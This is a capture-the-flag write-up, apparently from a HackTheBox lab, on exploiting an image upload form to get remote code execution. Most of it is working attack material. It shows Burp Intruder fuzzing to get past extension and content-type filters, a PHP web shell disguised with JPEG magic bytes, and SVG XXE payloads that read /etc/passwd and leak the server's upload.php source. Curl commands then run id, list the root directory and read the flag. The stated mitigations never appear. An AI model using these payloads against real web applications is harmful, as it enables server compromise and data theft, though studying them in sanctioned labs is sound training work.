FILE UPLOAD ATTACKS
OBJECTIVE: perform a file upload attack penetration test on a company's e-commerce web application to gain RCE on the back-end server. report the main security issues found with the web application and the necessary security measures to mitigate these issues and prevent further exploitation.
Try to exploit the upload form to read the flag found at the root directory "/".
#identify a potential vulnerable upload form
root@oco:~$ BROWSER > {targetSite:port} > contact
* http://94.237.63.109:33232/contact/
- form accepts an image file
#identify client-side validation in use by viewing the upload form's source code
root@oco:~$ BROWSER > http://94.237.63.109:33232/contact/ > CTRL+U
* <head>...<script src="/contact/script.js"></script></head>
http://94.237.63.109:33232/contact/script.js
function checkFile(File) {
var file = File.files[0];
var filename = file.name;
var extension = filename.split('.').pop();
if (extension !== 'jpg' && extension !== 'jpeg' && extension !== 'png') {
$('#upload_message').text("Only images are allowed");
File.form.reset();
} else {
$("#inputGroupFile01").text(filename);
}
}
$(document).ready(function () {
$("#upload").click(function (event) {
event.preventDefault();
var fd = new FormData();
var files = $('#uploadFile')[0].files[0];
fd.append('uploadFile', files);
if (!files) {
$('#upload_message').text("Please select a file");
} else {
$.ajax({
url: '/contact/upload.php',
type: 'post',
data: fd,
contentType: false,
processData: false,
success: function (response) {
if (response.trim() != '') {
$("#upload_message").html(response);
} else {
window.location.reload();
}
},
});
}
});
});
* pertinent info
- the form has a front-end blacklist & only accept images such as jpg/jpeg & png
- assuming the page has a blacklist & whitelist extension validation
- assuming the page has a content filter validation
root@oco:~$ BROWSER > GOOGLE SEARCH > jpeg images small > save as image.jpeg
* download a jpeg image to use
#identify back-end whitelist/blacklist validation by fuzzing for allowable extensions
root@oco:~$ curl -O https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst
root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
root@oco:~$ BROWSER > {targetSite:port}
upload field: {select image to upload}
* submit the expected user input
- use the "Green" Upload button NOT the "Submit" button
BURP > Proxy > Intercept > Raw > right-click > Send to Intruder
BURP > Intruder > Positions
Attack Type: Sniper
Payload Positions:
POST /contact/upload.php HTTP/1.1
-----WebKitFormBoundaryXvLRx8BgiX2Auozf
Content-Disposition: form-data; name="uploadFile"; filename="image.$phpExtension$.jpeg"
Content-Type: image/jpeg
ÿØÿà
<?php system($_REQUEST['cmd']); ?>
* delete everything else!
------WebKitFormBoundaryXvLRx8BgiX2Auozf--
Payloads
Payload Sets: default
Payload Settings > Load > extensions.lst
Payload Processing: default
Payload Encoding
URL-encode these characters: disabled
- this avoids encoding the (.) before the file extension
Start Attack!
* allowed extensions:
- .pht.jpeg, .phtm.jpeg, .php\x00.gif.jpeg, .php\x00.png, .php\x00.jpg, .phar.jpeg, .pgif.jpeg
* if you receive error messages such as "only images are allowed (whitelist)" and "extension not allowed (blacklist)" it means that back-end whitelist or blacklist are in placed
- modify the payload to bypass whitelist/blacklist on the back-end
#identify back-end content-type validation (if any) via fuzzing
root@oco:~$ curl -O https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/Web-Content/web-all-content-types.txt
root@oco:~$ cat web-all-content-types.txt | grep 'image/' > image-content-types.txt
BURP > Intruder > Positions
Attack Type: Sniper
Payload Positions:
POST /contact/upload.php HTTP/1.1
-----WebKitFormBoundaryXvLRx8BgiX2Auozf
Content-Disposition: form-data; name="uploadFile"; filename="image.phar.jpeg"
Content-Type: $image/jpeg$
ÿØÿà
<?php system($_REQUEST['cmd']); ?>
* delete everything else!
------WebKitFormBoundaryXvLRx8BgiX2Auozf-
Payloads
Payload Sets: default
Payload Settings > Load > image-content-types.txt
Payload Processing: default
Payload Encoding
URL-encode these characters: disabled
- this avoids encoding the (.) before the file extension
Start Attack!
* allowed content-types:
- image/jpeg, image/png, image/pwg-raster, image/svg+xml
root@oco:~$ nano image.phar.jpeg
-----WebKitFormBoundaryXvLRx8BgiX2Auozf
Content-Disposition: form-data; name="uploadFile"; filename="image.phar.jpeg"
Content-Type: $image/jpeg$
ÿØÿà
<?php system($_REQUEST['cmd']); ?>
* delete everything else!
------WebKitFormBoundaryXvLRx8BgiX2Auozf--
Burp > Intruder Attack of http://{targetSite:port} > Response
* sort the results by Length to see all the allowed content types
- the response should be file successfully uploaded
Burp > Intruder Attack of http://{targetSite:port} > Response > right-click successful request > Send to Repeater
------WebKitFormBoundarymdD3eydlw3JorBz8
Content-Disposition: form-data; name="uploadFile"; filename="download.phar.jpeg"
Content-Type: image/svg+xml
ÿØÿà
<?php system($_REQUEST['cmd']); ?>
* delete these two and replace with the once below
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
------WebKitFormBoundarymdD3eydlw3JorBz8--
#repeat the above for another Payload
------WebKitFormBoundarymdD3eydlw3JorBz8
Content-Disposition: form-data; name="uploadFile"; filename="download.phar.jpeg"
Content-Type: image/svg+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>
------WebKitFormBoundarymdD3eydlw3JorBz8--
Response...
PD9waHAKcmVxdWlyZV9vbmNlKCcuL2NvbW1vbi1mdW5jdGlvbnMucGhwJyk7CgovLyB1cGxvYWRlZCBmaWxlcyBkaXJlY3RvcnkKJHRhcmdldF9kaXIgPSAiLi91c2VyX2ZlZWRiYWNrX3N1Ym1pc3Npb25zLyI7CgovLyByZW5hbWUgYmVmb3JlIHN0b3JpbmcKJGZpbGVOYW1lID0gZGF0ZSgneW1kJykgLiAnXycgLiBiYXNlbmFtZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bIm5hbWUiXSk7CiR0YXJnZXRfZmlsZSA9ICR0YXJnZXRfZGlyIC4gJGZpbGVOYW1lOwoKLy8gZ2V0IGNvbnRlbnQgaGVhZGVycwokY29udGVudFR5cGUgPSAkX0ZJTEVTWyd1cGxvYWRGaWxlJ11bJ3R5cGUnXTsKJE1JTUV0eXBlID0gbWltZV9jb250ZW50X3R5cGUoJF9GSUxFU1sndXBsb2FkRmlsZSddWyd0bXBfbmFtZSddKTsKCi8vIGJsYWNrbGlzdCB0ZXN0CmlmIChwcmVnX21hdGNoKCcvLitcLnBoKHB8cHN8dG1sKS8nLCAkZmlsZU5hbWUpKSB7CiAgICBlY2hvICJFeHRlbnNpb24gbm90IGFsbG93ZWQiOwogICAgZGllKCk7Cn0KCi8vIHdoaXRlbGlzdCB0ZXN0CmlmICghcHJlZ19tYXRjaCgnL14uK1wuW2Etel17MiwzfWckLycsICRmaWxlTmFtZSkpIHsKICAgIGVjaG8gIk9ubHkgaW1hZ2VzIGFyZSBhbGxvd2VkIjsKICAgIGRpZSgpOwp9CgovLyB0eXBlIHRlc3QKZm9yZWFjaCAoYXJyYXkoJGNvbnRlbnRUeXBlLCAkTUlNRXR5cGUpIGFzICR0eXBlKSB7CiAgICBpZiAoIXByZWdfbWF0Y2goJy9pbWFnZVwvW2Etel17MiwzfWcvJywgJHR5cGUpKSB7CiAgICAgICAgZWNobyAiT25seSBpbWFnZXMgYXJlIGFsbG93ZWQiOwogICAgICAgIGRpZSgpOwogICAgfQp9CgovLyBzaXplIHRlc3QKaWYgKCRfRklMRVNbInVwbG9hZEZpbGUiXVsic2l6ZSJdID4gNTAwMDAwKSB7CiAgICBlY2hvICJGaWxlIHRvbyBsYXJnZSI7CiAgICBkaWUoKTsKfQoKaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsKICAgIGRpc3BsYXlIVE1MSW1hZ2UoJHRhcmdldF9maWxlKTsKfSBlbHNlIHsKICAgIGVjaG8gIkZpbGUgZmFpbGVkIHRvIHVwbG9hZCI7Cn0K
root@oco:~$ echo PD9waHAKcmVxdWlyZV9vbmNlKCcuL2NvbW1vbi1mdW5jdGlvbnMucGhwJyk7CgovLyB1cGxvYWRlZCBmaWxlcyBkaXJlY3RvcnkKJHRhcmdldF9kaXIgPSAiLi91c2VyX2ZlZWRiYWNrX3N1Ym1pc3Npb25zLyI7CgovLyByZW5hbWUgYmVmb3JlIHN0b3JpbmcKJGZpbGVOYW1lID0gZGF0ZSgneW1kJykgLiAnXycgLiBiYXNlbmFtZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bIm5hbWUiXSk7CiR0YXJnZXRfZmlsZSA9ICR0YXJnZXRfZGlyIC4gJGZpbGVOYW1lOwoKLy8gZ2V0IGNvbnRlbnQgaGVhZGVycwokY29udGVudFR5cGUgPSAkX0ZJTEVTWyd1cGxvYWRGaWxlJ11bJ3R5cGUnXTsKJE1JTUV0eXBlID0gbWltZV9jb250ZW50X3R5cGUoJF9GSUxFU1sndXBsb2FkRmlsZSddWyd0bXBfbmFtZSddKTsKCi8vIGJsYWNrbGlzdCB0ZXN0CmlmIChwcmVnX21hdGNoKCcvLitcLnBoKHB8cHN8dG1sKS8nLCAkZmlsZU5hbWUpKSB7CiAgICBlY2hvICJFeHRlbnNpb24gbm90IGFsbG93ZWQiOwogICAgZGllKCk7Cn0KCi8vIHdoaXRlbGlzdCB0ZXN0CmlmICghcHJlZ19tYXRjaCgnL14uK1wuW2Etel17MiwzfWckLycsICRmaWxlTmFtZSkpIHsKICAgIGVjaG8gIk9ubHkgaW1hZ2VzIGFyZSBhbGxvd2VkIjsKICAgIGRpZSgpOwp9CgovLyB0eXBlIHRlc3QKZm9yZWFjaCAoYXJyYXkoJGNvbnRlbnRUeXBlLCAkTUlNRXR5cGUpIGFzICR0eXBlKSB7CiAgICBpZiAoIXByZWdfbWF0Y2goJy9pbWFnZVwvW2Etel17MiwzfWcvJywgJHR5cGUpKSB7CiAgICAgICAgZWNobyAiT25seSBpbWFnZXMgYXJlIGFsbG93ZWQiOwogICAgICAgIGRpZSgpOwogICAgfQp9CgovLyBzaXplIHRlc3QKaWYgKCRfRklMRVNbInVwbG9hZEZpbGUiXVsic2l6ZSJdID4gNTAwMDAwKSB7CiAgICBlY2hvICJGaWxlIHRvbyBsYXJnZSI7CiAgICBkaWUoKTsKfQoKaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsKICAgIGRpc3BsYXlIVE1MSW1hZ2UoJHRhcmdldF9maWxlKTsKfSBlbHNlIHsKICAgIGVjaG8gIkZpbGUgZmFpbGVkIHRvIHVwbG9hZCI7Cn0K | base64 -d
<?php
require_once('./common-functions.php');
// uploaded files directory
$target_dir = "./user_feedback_submissions/";
// rename before storing
$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]);
$target_file = $target_dir . $fileName;
// get content headers
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);
// blacklist test
if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) {
echo "Extension not allowed";
die();
}
// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
echo "Only images are allowed";
die();
}
// type test
foreach (array($contentType, $MIMEtype) as $type) {
if (!preg_match('/image\/[a-z]{2,3}g/', $type)) {
echo "Only images are allowed";
die();
}
}
// size test
if ($_FILES["uploadFile"]["size"] > 500000) {
echo "File too large";
die();
}
if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) {
displayHTMLImage($target_file);
} else {
echo "File failed to upload";
}
#upload a cmd shell
------WebKitFormBoundarymdD3eydlw3JorBz8
Content-Disposition: form-data; name="uploadFile"; filename="download.phar.jpeg"
Content-Type: image/jpeg
ÿØÿà
<?php system($_REQUEST['cmd']); ?>
------WebKitFormBoundarymdD3eydlw3JorBz8--
curl -v http://94.237.63.109:43162/contact/user_feedback_submissions/241201_download.phar.jpeg?cmd=id
* uid=33(www-data) gid=33(www-data) groups=33(www-data)
curl -v http://94.237.63.109:43162/contact/user_feedback_submissions/241201_download.phar.jpeg?cmd=ls%20%2f
* flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt
curl -v http://94.237.63.109:43162/contact/user_feedback_submissions/241201_download.phar.jpeg?cmd=cat%20%2Fflag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt
HTB{m4573r1ng_upl04d_3xpl0174710n}Last updated